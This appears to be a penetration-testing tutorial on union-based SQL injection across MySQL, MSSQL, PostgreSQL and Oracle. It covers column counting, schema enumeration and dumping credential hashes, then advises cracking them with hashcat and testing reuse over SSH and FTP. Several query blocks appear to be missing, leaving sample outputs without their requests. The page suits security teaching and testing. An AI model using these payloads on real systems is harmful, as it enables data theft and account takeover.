Union-Based SQL Injection Exploitation
Union-based SQL injection appends a UNION SELECT statement to the original query to retrieve data from other tables. It requires the query results to be reflected in the HTTP response and the injected SELECT to match the column count and data types of the original query. This is the fastest extraction method when it works. When output is not reflected, fall back to error-based or blind extraction. See the SQL injection hub for technique selection.
- Column count determination uses ORDER BY increments until an error reveals the count.
- Reflected column identification injects marker strings to find which columns appear in the response.
- Metadata extraction pulls database version, user, schema names, tables, and columns from information_schema.
- Credential dumping reads usernames and password hashes from the users table via group_concat.
Determine Column Count
The UNION SELECT must match the original query's column count exactly. Use ORDER BY to find the column count without needing to know it: increment until you get an error:
4823
Unknown column '4' in 'order clause'
An error on ORDER BY 4 but not on ORDER BY 3 means the query has 3 columns. Now find which columns are reflected in the response by injecting null values:
Product: COLTEST2 | Description: COLTEST3
Columns 2 and 3 are reflected. Use these positions for data extraction. Set id=0 to make the original query return no rows so only UNION results appear.
Extract Database Metadata
With reflected columns identified, pull database version, current user, and database name:
5.7.33-0ubuntu0 root@localhost
information_schema,webapp,mysql
Extract Tables and Columns
Enumerate the application database schema:
users,products,orders,sessions
id,username,password,email,role
Dump Credentials
admin:5f4dcc3b5aa765d61d8327deb882cf99 editor:8d3533d75ae2c3966d7e0d4fcc69216b
MD5 hashes: crack with hashcat mode 0. Pass cracked credentials back into the login page and test for reuse across SSH, FTP, and other services on the target.
MSSQL UNION Injection
MSSQL uses -- for comments (no trailing space required, unlike MySQL). String concatenation uses + instead of CONCAT(). For aggregating multiple rows into one result, use string_agg() on SQL Server 2017+ or FOR XML PATH('') on older versions. MSSQL uses TOP instead of LIMIT and information_schema is available alongside the legacy sysobjects/syscolumns views.
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5
master,tempdb,model,msdb,webapp
On SQL Server versions before 2017 where string_agg() is not available, use FOR XML PATH to concatenate rows:
users,sessions,orders,api_keys,
id,username,password,email,role
admin:5f4dcc3b5aa765d61d8327deb882cf99
MSSQL returns one row per request without string_agg() or FOR XML PATH. Use TOP 1 ... WHERE username NOT IN ('admin') to iterate through rows, or aggregate into a single field.
PostgreSQL UNION Injection
PostgreSQL uses -- for comments, || for string concatenation, and supports LIMIT/OFFSET like MySQL. Use string_agg() to concatenate multiple rows. Schema enumeration can use information_schema (standard) or pg_catalog system tables.
PostgreSQL 14.5 on x86_64-pc-linux-gnu
postgres,webapp
users,sessions,orders,api_keys
id,username,password,email,role
admin:5f4dcc3b5aa765d61d8327deb882cf99 editor:8d3533d75ae2c3966d7e0d4fcc69216b
Oracle UNION Injection
Oracle requires every SELECT to include a FROM clause. Use FROM dual for scalar values. String concatenation uses ||. Oracle has no LIMIT clause. Use WHERE ROWNUM <= N to restrict rows (Oracle 11g and earlier) or FETCH FIRST N ROWS ONLY on 12c+. Aggregate multiple rows with LISTAGG(). Schema enumeration uses all_tables and all_tab_columns instead of information_schema.
Oracle Database 19c Enterprise Edition Release 19.0.0.0.0
API_KEYS,ORDERS,SESSIONS,USERS
EMAIL,ID,PASSWORD,ROLE,USERNAME
admin:5f4dcc3b5aa765d61d8327deb882cf99 editor:8d3533d75ae2c3966d7e0d4fcc69216b
Oracle table and column names are uppercase by default. If queries return nothing, try uppercase object names. LISTAGG() has a 4000-byte limit on the result. For tables with many columns, use multiple queries or filter with WHERE column_name LIKE '%PASS%'.
Data Type Mismatch Troubleshooting
When UNION SELECT fails with a type mismatch error, the injected columns have incompatible data types with the original query. Common error messages:
- MySQL:
The used SELECT statements have a different number of columns - MSSQL:
Conversion failed when converting the varchar value to data type int - PostgreSQL:
UNION types text and integer cannot be matched - Oracle:
ORA-01790: expression must have same datatype as corresponding expression
Start by using NULL in all UNION positions. NULL is compatible with any type across all databases. Then replace one NULL at a time with a test string to find which columns accept text. For integer-only columns, use CAST() or CONVERT() to match the expected type:
-- When column 1 expects an integer
UNION SELECT 1,'test_string',NULL--
-- MSSQL: explicit cast
UNION SELECT NULL,CONVERT(varchar,@@version),NULL--
-- PostgreSQL: explicit cast
UNION SELECT NULL,version()::text,NULL--
-- Oracle: explicit cast
UNION SELECT NULL,CAST(banner AS VARCHAR2(200)),NULL FROM v$version WHERE ROWNUM=1--
If all columns are integer types and no string column is available, extract data numerically using ASCII values. Convert each character to its ASCII code and read the output as numbers. This is slower but bypasses strict type enforcement.
Comment Syntax by Database
Comment style varies by database. Use the correct terminator for the target:
Database | Comment |
|---|---|
MySQL | -- (space after) or # |
MSSQL | -- |
Oracle | -- |
PostgreSQL | -- |
SQLite | -- |
References
-
PortSwigger: Union AttacksTOOL: PortSwigger: Union Attacks, portswigger.net/web-security/sql-injection/union-attacks (opens in new tab)
Column count determination and data type matching for UNION injection